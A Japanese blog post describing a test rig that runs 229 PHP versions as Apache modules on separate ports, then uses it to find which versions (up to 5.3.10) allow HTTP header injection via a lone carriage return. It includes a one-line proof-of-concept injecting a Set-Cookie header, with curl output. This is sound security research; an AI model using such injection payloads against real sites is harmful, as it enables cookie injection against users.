上の2つは、そもそも実現が難しかったり、性能が悪かったり等の予想がありました。そこで、PHPのバージョン毎に異なるポート番号でApacheを起動することで、Apacheモジュール版PHPの全バージョンを一つのサーバーで動かすことを考えました。modphpallと命名しました。

PHPのビルド

既にCLI版とCGI版のPHP版があるので、Apacheモジュール版のPHPをビルドすることには、さほど困難はありませんでした。ただ、時間はそれなりにかかりますね。
PHP 3.0.18(PHP 3の最終バージョン)から最新のPHP 7.1.0 まで、229バージョンのPHPバイナリができあがりました。

Apacheのバージョン

使用するApacheバージョンは、あまり良く考えずに、PHP 3とPHP 4はApache1.3.42(1.3系の最終バージョン)、PHP 5以降はApache2.2.31(2.2系の最新)を用いましたが、これで特に問題は出ていません。

ディレクトリ構成

ディレクトリ構成は下記のとおりです。

~/apache1.3PHP 3, 4向け。Apache 1.3.42のバイナリ、コンフィグレーション
~/apache2.2PHP 5, 7向け。Apache 2.2.31のバイナリ、コンフィグレーション
~/phplibPHP 3, 4, 5, 7のApacheモジュール版バイナリ
~/Dropbox/wwwドキュメントルート。PHPスクリプトを配置

設定ファイル

PHPのバージョンの数だけ、ポート番号を変えてApacheを起動することになるため、設定ファイル(httpd.conに相当するもの)は、簡単なスクリプトでジェネレートしています。
以下のような設定フアイルのテンプレートをPHPのバージョン毎に用意しています。
Include "conf/httpd_header.conf"

Listen %PORT%
LoadModule php5_module        /home/ockeghem/phplib/%PHPVER%.so
ServerName      phpcgiall:%PORT%
PidFile "logs/httpd_%PHPVER%.pid"

Include "conf/httpd_tail.conf"
そして、スクリプトで%PORT%と%PHPVER%を書き換えて、以下のような設定ファイルを生成します。
Include "conf/httpd_header.conf"

Listen 49364
LoadModule php5_module        /home/ockeghem/phplib/php-5.6.29.so
ServerName      phpcgiall:49364
PidFile "logs/httpd_php-5.6.29.pid"

Include "conf/httpd_tail.conf"
そして、同じスクリプトで、以下のような形で起動します。
apache2.2/bin/httpd -f conf/httpd_php-5.6.29.conf
起動後、phpinfo()の表示例を示します。


使用メモリ量

同一サーバー内で229ものApacheインスタンスを起動するので、メモリ使用量が心配になります。手元の環境は、Ubuntu 12.04LTS (32ビット)ですが、VMに割り当てるメモリを当初21Gバイトとしていました。現実には2Gバイト程度でも一応動くようです。現在、暫定的に8Gバイトのメモリを割り当てていますが、起動当初の状態は下記となります。
$ free
             total       used       free     shared    buffers     cached
Mem:       8266464    3794592    4471872          0      48444    1938060
-/+ buffers/cache:    1808088    6458376
Swap:      2093052          0    2093052
$

使ってみる

それでは、modphpallを試してみましょう。PoCは、昨日の日記で示したキャリッジリターンのみを用いたHTTPヘッダインジェクションです。
<?php
  header("Location: http://example.jp/\rSet-Cookie: a=b;");
PHP 5.3.0による実行結果は下記のとおりです。昨日同様、キャリッジリターン(0x0D)をsedにより[CR]と変換して表示しています。
$ curl --dump-header - http://localhost:49220/headerinj-cr.php | sed 's/\r/[CR]/'
HTTP/1.1 302 Found[CR]
Date: Thu, 15 Dec 2016 10:20:07 GMT[CR]
Server: Apache/2.2.31 (Unix) PHP/5.3.0[CR]
X-Powered-By: PHP/5.3.0[CR]
Location: http://example.jp/[CR]Set-Cookie: a=b;
Content-Length: 0[CR]
Content-Type: text/html[CR]
[CR]
めでたく(?)Set-Cookiヘッダの前にキャリッジリターンが出力されており、一部のブラウザ(IE、Google Chrome、Safari等)ではHTTPヘッダインジェクションが起こる結果が出ました。
他のバージョンも含めると、問題が発生するバージョンは下記となります(見やすくなるように表示の順序を入れ替えています)。
$ grep Set-Cookie *.log | sed 's/\r/[CR]/'
php-3.0.18.log:Location: http://example.jp/[CR]Set-Cookie: a=b;
php-4.0.0.log:Location: http://example.jp/[CR]Set-Cookie: a=b;
php-4.0.1.log:Location: http://example.jp/[CR]Set-Cookie: a=b;
...
php-4.4.9.log:Location: http://example.jp/[CR]Set-Cookie: a=b;
php-5.0.0.log:Location: http://example.jp/[CR]Set-Cookie: a=b;
php-5.0.1.log:Location: http://example.jp/[CR]Set-Cookie: a=b;
...
php-5.3.9.log:Location: http://example.jp/[CR]Set-Cookie: a=b;
php-5.3.10.log:Location: http://example.jp/[CR]Set-Cookie: a=b;
$
キャリッジリターンのみでHTTPヘッダインジェクションが起こるのは、PHP 5.3.10までであることがわかります。

まとめ

PHPの全バージョンの挙動をApacheモジュールとして試すことのできる modphpall を作成し、その成果として、キャリッジリターンのみでHTTPヘッダインジェクションを起こすPHPバージョンを確認しました。CGIモードとApacheモジュールの挙動の差は小さいものですが、その小さい差が問題に成る場合もあるので、今後のPHPの検証に役立てたいと思います。

フォロワー